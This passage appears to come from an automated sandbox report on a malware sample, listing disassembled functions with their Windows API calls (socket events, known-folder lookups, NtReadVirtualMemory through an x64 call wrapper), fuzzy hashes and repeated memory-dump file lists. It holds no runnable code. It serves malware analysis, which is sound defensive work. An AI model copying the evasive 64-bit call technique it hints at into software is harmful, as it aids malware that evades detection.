Instruction Fuzzy Hash: 2001E47100410EBBDF12AEA1CC46EEEBF6AEF58358F108010FD1815162D7369AB1DBA1

Function 009473B8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 23COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 009473D9

Part of subcall function 009481BE: __amsg_exit.LIBCMT ref: 009481CE

__getptd.LIBCMT ref: 009473EA
__getptd.LIBCMT ref: 009473F8

Strings

MOC, xrefs: 009473CB
RCC, xrefs: 009473C4

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: __getptd$__amsg_exit
String ID: MOC$RCC
API String ID: 1969926928-2084237596
Opcode ID: ed8bd0ab92faa1f54095003defd2a49c59da4fdb40cb08683ccfb0fcb8a2e0cc
Instruction ID: 18ebf0cc7dd3497733a25f8a16080df76e0b532fce8d69fa4d60be7de301bb81
Opcode Fuzzy Hash: ed8bd0ab92faa1f54095003defd2a49c59da4fdb40cb08683ccfb0fcb8a2e0cc
Instruction Fuzzy Hash: C5E01234508109CFD7209BA4C18AF7D779DBB88318F1904A6E40CCB233DB68D9529542

Function 0093EBC0 Relevance: 7.7, APIs: 5, Instructions: 162COMMON

Download Yara Rule

APIs

und_memcpy.LIBCMTD ref: 0093EC2F
und_memcpy.LIBCMTD ref: 0093EC4A

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: und_memcpy
String ID:
API String ID: 2264155635-0
Opcode ID: 3a549b5a440a01cdf033612c31efb626deded023bf5356e81bf5bf47671e6793
Instruction ID: d8606d158200ecde04a040de08dbf4d79a2531b1fe7ab3cccbf4a7ff49a5962e
Opcode Fuzzy Hash: 3a549b5a440a01cdf033612c31efb626deded023bf5356e81bf5bf47671e6793
Instruction Fuzzy Hash: 0371C1B1A00228DBCB64DF54CC94BEDB7B5AF98305F1484D9D50DAB391DA34AEC18F80

Function 00940870 Relevance: 7.6, APIs: 5, Instructions: 69networkCOMMON

Download Yara Rule

APIs

WSACreateEvent.WS2_32 ref: 00940876
WSAEventSelect.WS2_32(?,00000000,00000002), ref: 00940893
WSAWaitForMultipleEvents.WS2_32(00000001,?,00000000,00000001,00000000), ref: 009408D3
WSACloseEvent.WS2_32(00000000), ref: 009408E0
WSACloseEvent.WS2_32(00000000), ref: 00940939

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: Event$Close$CreateEventsMultipleSelectWait
String ID:
API String ID: 2166016019-0
Opcode ID: 47228fd249858c1059de759306a13f35e4c6dd5295c8d0c45b7f4cc3914c0e44
Instruction ID: fd7397b758ddcd9cb1dc54bcb9d454db23f3230187df31822291f124e8aba6a8
Opcode Fuzzy Hash: 47228fd249858c1059de759306a13f35e4c6dd5295c8d0c45b7f4cc3914c0e44
Instruction Fuzzy Hash: 8C218EB4908209EFEF24CF94C948BAE77B9BF89310F104549E60567281C7B59E40EF61

Function 009332B0 Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 00933350: LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 00933364
Part of subcall function 00933350: LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 00933385
Part of subcall function 00933350: SHGetKnownFolderPath.SHELL32(00957C30,00000000,00000000,00000000), ref: 009333AC
Part of subcall function 00933350: __snwprintf.LIBCMT ref: 009333E4
Part of subcall function 00933350: __snwprintf.LIBCMT ref: 009333FE
Part of subcall function 00933350: LocalFree.KERNEL32(00000000), ref: 0093340A
Part of subcall function 00933350: CoTaskMemFree.COMBASE(00000000), ref: 00933414

GetFileAttributesW.KERNEL32(00000000), ref: 009332CF
LocalFree.KERNEL32(00000000), ref: 009332E2
GetFileAttributesW.KERNEL32(00000000), ref: 00933312
LocalFree.KERNEL32(00000000), ref: 00933325

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: Local$Free$AllocAttributesFile__snwprintf$FolderKnownPathTask
String ID:
API String ID: 3140265870-0
Opcode ID: 68950a00d0c470bfa8888b69198924964171757c327576d3c1c12de727c408c8
Instruction ID: bbbe522e38cbf3518e37e232516bcbd2439f364e4933a74e4bb8a05bd290312a
Opcode Fuzzy Hash: 68950a00d0c470bfa8888b69198924964171757c327576d3c1c12de727c408c8
Instruction Fuzzy Hash: 89112AB5D54208EFDB00EBA8D9486ADBB74EF48311F50C8A9E502A7290DB758B40EF50

Function 0093C970 Relevance: 7.5, APIs: 5, Instructions: 26COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0093C978
CoCreateGuid.COMBASE(?), ref: 0093C982
StringFromGUID2.COMBASE(?,?,00000027), ref: 0093C996
CoUninitialize.COMBASE ref: 0093C9A0
CoUninitialize.COMBASE ref: 0093C9AD

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: Uninitialize$CreateFromGuidInitializeString
String ID:
API String ID: 46189592-0
Opcode ID: 90828447a9b377846e426171b5723f8578d1c999aa43153771be989a34562946
Instruction ID: 65b42b8c431a73b300d57d9acda56bcb004862c43e60a14996aeedec2b7a9a9e
Opcode Fuzzy Hash: 90828447a9b377846e426171b5723f8578d1c999aa43153771be989a34562946
Instruction Fuzzy Hash: 5DE0927621D2099BD714AFB8ED8DB7A77ECAB09705F00481AFA05D6150E671D4009B52

Function 009264B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 82COMMON

Download Yara Rule

APIs

GetProcAddress64.WINDOWS(00000000,?,NtReadVirtualMemory), ref: 009264D4
X64Call.WINDOWS(00000000,00000000,00000005,?,?,?,?,00000000,00000000,?,00000000,?,00000000), ref: 00926554
SetLastErrorFromX64Call.WINDOWS(00000000,?), ref: 00926576

Strings

NtReadVirtualMemory, xrefs: 009264C8

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
